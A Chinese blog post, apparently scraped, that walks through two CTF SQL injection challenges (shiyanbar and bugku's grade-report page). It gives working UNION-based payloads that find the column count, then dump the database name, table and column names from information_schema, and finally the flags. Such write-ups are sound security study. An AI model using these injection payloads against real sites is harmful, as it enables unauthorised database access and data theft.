1. 程式人生 > >union註入的幾道ctf題,實驗吧簡單的sql註入1,2,這個看起來有點簡單和bugku的成績單

union註入的幾道ctf題,實驗吧簡單的sql註入1,2,這個看起來有點簡單和bugku的成績單

需要 簡單 details 9.png lmap bug 輸入數據 php 接下來

這幾天在做CTF當中遇到了幾次sql註入都是union,寫篇博客記錄學習一下。

首先推薦一篇文章“https://blog.csdn.net/Litbai_zhang/article/details/83869918”

再附上一張文章裏面的圖

技術分享圖片

接下來直接上題

1.這個看起來有點簡單

題目連接:http://ctf5.shiyanbar.com/8/index.php?id=1

技術分享圖片

首先一進去看著那個表,和url裏面的id=1,就感覺應該是SQL註入的題。

老樣子,先把id=1,改成id=2,和id=3發現可以返回不同的數據。

然後 加個引號和註釋號 id=1‘#,發現報錯,由此確定是sql註入,並且應該是數字註入,不用閉合。

然後先確定列數,看圖感覺是兩列,再網址後輸 id=1 order by2 ,返回正確,id=1 order by 3返回錯誤, 從而判斷是兩列。

好,接下來用union搞一搞,輸入 id=-1 union select 1,2# 得到以下畫面

技術分享圖片

這還能說啥,直接一波爆庫名,爆表名,爆段名再說,

-1 union select -1,database()#

技術分享圖片

-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

技術分享圖片

答案字段應該是再thiskey裏

-1 union select 1,group_concat(column_name) from information_schema.columns where table_name=‘thiskey‘ #

技術分享圖片

得到字段名 k0y

然後 -1 union select 1,k0y from thiskey#

技術分享圖片

拿到flag, 這道題也可以用sqlmap跑出來。

2.bugku成績單

題目鏈接 http://123.206.87.240:8002/chengjidan/index.php

技術分享圖片

和上一道題很相似,所以依然按照步驟來就好,不過這裏需要註意一下,當輸入 1的時候,返回的是龍龍的成績單,當加一個引號,不返回結果,然後再輸入1‘# 則返回龍龍的成績,很明顯,這裏需要閉合,是字符型的註入。

確定列數

1’ order by 5#返回錯誤, 1‘ order by 4 返回龍龍的成績單,說明有 4列 。但是表格只有三列,所以先用 union select 1,2,3,4 來搞一下事情 ,輸入-1‘ union select 1,2,3,4# 這裏說一下為什麽前面要用-1,這道題只會顯示一行,如果用1的話,會顯示龍龍的成績,這裏只會顯示一行,所以要讓第一行不顯示,直接用-1。

技術分享圖片

發現第一列被隱藏了,所以後面要輸入數據應該再二三四列顯示。

ok 都到這一步了,接下來就直接爆庫名這些了。。。

-1’ union select 1,database(),3,4#

技術分享圖片

-1‘ union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3,4#

技術分享圖片

出現表名 fl4g

-1‘ union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘fl4g‘),3,4#

技術分享圖片

得到 字段名 skctf_flag

接下來 -1‘ union select 1,(select skctf_flag from fl4g),3,4#

技術分享圖片

拿到答案,當然這道題也可以用sqlmap跑出來,只不過這裏是post傳數據,要用bp和sqlmap一起結合而已。

還有兩道題再下一篇博客寫。。。。。

union註入的幾道ctf題,實驗吧簡單的sql註入1,2,這個看起來有點簡單和bugku的成績單